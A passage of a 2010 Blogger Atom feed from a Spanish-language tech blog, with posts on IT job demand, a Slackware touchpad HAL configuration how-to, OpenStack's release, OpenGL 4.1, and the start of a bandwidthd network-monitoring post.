href='http://decibel-elektrobeat.blogspot.com/feeds/5025282910489769558/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/intel-makes-advance-in-silicon-based.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5025282910489769558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5025282910489769558'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/intel-makes-advance-in-silicon-based.html' title='Intel Makes Advance in Silicon-Based Lasers'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4323009163467036403</id><published>2010-07-30T08:23:00.000-07:00</published><updated>2010-07-30T08:23:21.154-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='development'/><category scheme='http://www.blogger.com/atom/ns#' term='desarrollo'/><category scheme='http://www.blogger.com/atom/ns#' term='skills'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='.Net'/><title type='text'>Programming, Development Skills in Demand</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;For those whose refuse the idea that Java is being demanded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Java/J2EE is the programming and developing skill in most demand with more than  14,000 open job positions nationally, according to a July report from IT job  board Dice. The survey of recruiters and human resource professionals also found  very high demand for C#, .Net, Oracle, Sharepoint, and SAP skills, as well as  security analysts, people with federal security clearances, and database  administrators. New York leads the way with more than 8,200 openings, followed  by Washington, D.C., with 7,400, Silicon Valley with 4,400, and Chicago and Los  Angeles with more than 2,800 each. Atlanta, Seattle, and Dallas have more than  2,000 IT job openings each, and Philadelphia has more than 1,600 openings.  Meanwhile, Pace University analyzed government figures for its latest quarterly  Pace/Skillproof IT Index, and found the indicator of employment activity in  Manhattan's information technology (IT) industry has risen 46 percent, from 74  to 110. The index report also notes that job openings for IT management and  network communication analysts have risen by more than 60 percent. Meanwhile,  demand for database administrators and network administrators has increased  about 15 percent in the second quarter.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;a href="http://www.eweek.com/c/a/IT-Management/Programming-Development-Skills-In-Demand-505665/"&gt;Source here.&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4323009163467036403?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4323009163467036403/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/programming-development-skills-in.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4323009163467036403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4323009163467036403'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/programming-development-skills-in.html' title='Programming, Development Skills in Demand'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-6549174992101315743</id><published>2010-07-29T09:07:00.000-07:00</published><updated>2010-07-29T09:33:35.667-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x11r7'/><category scheme='http://www.blogger.com/atom/ns#' term='touchpad'/><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='xorg.conf'/><category scheme='http://www.blogger.com/atom/ns#' term='xorg 7'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Touchpad para Laptop con Xorg</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Como ya había posteado anteriormente, desde la versión 13.0 de Slackware se hizo una actualización de Xorg-server, la cual ya no requiere un archivo de configuración xorg.conf&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;La configuración por defecto de HAL para los touchpads de laptop no es completamente satisfactoria. De hecho, es imposible hacer un click (en la superficie del touchpad) o desplazamiento (secuencia de elevadores verticales y horizontales pasando el dedo sobre el lado derecho o inferior).&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Afortunadamente, se puede editar y arreglar todo eso!&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;El procedimiento es el siguiente:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Copia el fichero de configuración de &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;synaptics &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;por defecto &amp;nbsp;de HAL:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;mkdir -p /etc/hal/fdi/policy/10osvendor&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;cp -p /usr/share/hal/fdi/policy/10osvendor/11-x11-synaptics.fdi &amp;nbsp;/etc/hal/fdi/policy/10osvendor&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Entonces, sólo cambia el contenido mediante la adición de las siguientes opciones si no existen. Aquí, por ejemplo el contenido de un archivo de configuración que permite que el desplazamiento vertical y horizontal y click:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;code&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;deviceinfo version="0.2"&gt;&lt;device&gt;&lt;br /&gt;&lt;/device&gt;&lt;/deviceinfo&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/code&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;&lt;code&gt;&lt;code&gt;&lt;deviceinfo version="0.2"&gt;&lt;device&gt;&amp;lt;?xml version="1.0" encoding="ISO-8859-1"?&amp;gt;&lt;br /&gt;&amp;lt;deviceinfo version="0.2"&amp;gt;&lt;br /&gt;&amp;lt;device&amp;gt;&lt;br /&gt;&amp;lt;match key="info.capabilities" contains="input.touchpad"&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_driver" type="string"&amp;gt;synaptics&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.protocol" type="string"&amp;gt;auto-dev&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.SHMConfig" type="string"&amp;gt;true&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.VertEdgeScroll" type="string"&amp;gt;true&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.HorizEdgeScroll" type="string"&amp;gt;true&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.VertScrollDelta" type="int"&amp;gt;100&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.UpDownScrolling" type="string"&amp;gt;true&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.TapButton1" type="string"&amp;gt;1&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.TapButton2" type="string"&amp;gt;2&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;merge key="input.x11_options.TapButton3" type="string"&amp;gt;3&amp;lt;/merge&amp;gt;&lt;br /&gt;&amp;lt;/match&amp;gt;&lt;br /&gt;&amp;lt;/device&amp;gt;&lt;br /&gt;&amp;lt;/deviceinfo&amp;gt;&lt;/device&gt;&lt;/deviceinfo&gt;&lt;/code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;code&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;deviceinfo version="0.2"&gt;&lt;device&gt;&lt;br /&gt;&lt;/device&gt;&lt;/deviceinfo&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Hago la aclaración que esto lo encontré en un blog en francés, sólo decidí postearlo porque creo que es muy útil, &lt;a href="http://wiki.slackware-fr.org/xwindow:articles:configuration_x_xorg.conf_ou_hal"&gt;la fuente aquí&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/code&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-6549174992101315743?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/6549174992101315743/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/touchpad-para-laptop-con-xorg.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6549174992101315743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6549174992101315743'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/touchpad-para-laptop-con-xorg.html' title='Touchpad para Laptop con Xorg'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2783480900778948602</id><published>2010-07-27T14:16:00.000-07:00</published><updated>2010-07-27T14:16:52.254-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openstack'/><category scheme='http://www.blogger.com/atom/ns#' term='compute'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud'/><category scheme='http://www.blogger.com/atom/ns#' term='storage'/><category scheme='http://www.blogger.com/atom/ns#' term='rackspace'/><title type='text'>RackSpace libera el código fuente de su cloud.</title><content type='html'>&lt;div style="color: white;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;OpenStack, el software liberado hoy por RackSpace, permite a cualquier organización crear y ofrecer capacidades de cloud computing utilizando software de código abierto que se ejecuta en hardware estándar.&lt;/span&gt;&lt;br style="font-family: Arial,Helvetica,sans-serif;" /&gt;&lt;br style="font-family: Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Los dos componentes del paquete son OpenStack Compute y OpenStack Storage. OpenStack Compute ayuda a crear y administrar grandes grupos de servidores virtuales privados y OpenStack Storage sirve para crear un almacenamiento de objetos escalable y redundante utilizandos clusters de servidores de consumo para almacenar terabytes e incluso petabytes de datos.&lt;/span&gt;&lt;/div&gt;&lt;div style="color: white;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: white; font-family: Arial,Helvetica,sans-serif;"&gt;Fuente Original &lt;/span&gt;&lt;a href="http://www.linux-magazine.es/" style="color: white; font-family: Arial,Helvetica,sans-serif;"&gt;Linux Magazine aquí.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2783480900778948602?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2783480900778948602/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/rackspace-libera-el-codigo-fuente-de-su.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2783480900778948602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2783480900778948602'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/rackspace-libera-el-codigo-fuente-de-su.html' title='RackSpace libera el código fuente de su cloud.'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1938694168909902298</id><published>2010-07-27T09:59:00.000-07:00</published><updated>2010-07-27T14:19:08.242-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ati'/><category scheme='http://www.blogger.com/atom/ns#' term='directx 11'/><category scheme='http://www.blogger.com/atom/ns#' term='opengl'/><category scheme='http://www.blogger.com/atom/ns#' term='nvidia'/><title type='text'>OpenGL 4.1 supera en prestaciones a Direct3D.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.opengl.org/img/opengl-4-logo.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.opengl.org/img/opengl-4-logo.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: white;"&gt;&lt;span style="color: white;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;Yo que pensaba que OpenGL ya estaba pasado de moda.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: white;"&gt;&lt;span style="color: white;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;Según the Khronos Group, impulsores de la API para aceleración gráfica 2D y 3D para hardware y que es vital para el desarrollo de juegos y aplicaciones gráficas complejas, la nueva versión de OpenGL, la 4.1, supera en prestaciones a la última versión de Direct3D 11 (anteriormente conocido como DirectX), el API cerrado equivalente de Microsoft.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: #20124d;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: #20124d;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;La nueva versión incluye entre otras cosas un soporte para la compilación en el momento de ejecución de código para shaders, importante para optimizar el código para el hardware; mejoras en WebGL, sistema que permite embeber código para gráficos 3D de OpenGL en páginas web sin tirar de plugins; y una mayor tolerancia a fallos, lo que lo dota de mayor seguridad ante código malicioso.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: #20124d;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: #20124d;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;Nvidia anuncia que implementará la 4.1 para el miércoles y ATI en breve.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: white;"&gt;&lt;span style="color: white;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;Fuente &lt;a href="http://www.linux-magazine.es/"&gt;Linux Magazine en Español aquí&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: #20124d;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;&lt;span style="background-color: #b4a7d6;"&gt;&lt;span style="background-color: #20124d;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1938694168909902298?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1938694168909902298/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/opengl-41-supera-en-prestaciones.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1938694168909902298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1938694168909902298'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/07/opengl-41-supera-en-prestaciones.html' title='OpenGL 4.1 supera en prestaciones a Direct3D.'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-846136556702586220</id><published>2010-07-23T09:35:00.000-07:00</published><updated>2011-03-28T18:49:36.229-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitoreo de red'/><category scheme='http://www.blogger.com/atom/ns#' term='monitor'/><category scheme='http://www.blogger.com/atom/ns#' term='fuentes'/><category scheme='http://www.blogger.com/atom/ns#' term='linea de base'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='compilar'/><category scheme='http://www.blogger.com/atom/ns#' term='bandwidthd'/><category scheme='http://www.blogger.com/atom/ns#' term='baseline'/><category scheme='http://www.blogger.com/atom/ns#' term='centreon'/><title type='text'>Monitoreo de redes con bandwidthd sobre CentOS</title><content type='html'>&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Bien, pues una vez adentrado en el mundo de las redes, me corresponde ser responsable por el área de redes de la empresa donde laboro.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Una parte que no me gustó cuando recibí el cargo sobre este departamento es que la documentación sobre la red es escasa, sólo me fue entregado un diagrama a bloques de quienes estaban conectados a un segmento de la red, sin configuraciones de los Routers, Switches, ni mucho menos se tiene un control de ancho de banda y del tráfico.&lt;/span&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;Helvetica&amp;quot;,sans-serif;"&gt;Por una parte ya me he dado a la tarea de documentar la mayoría de los aspectos que considero relevantes (también trato de hacerlo como especifica Cisco). En lo que respecta al control del ancho de 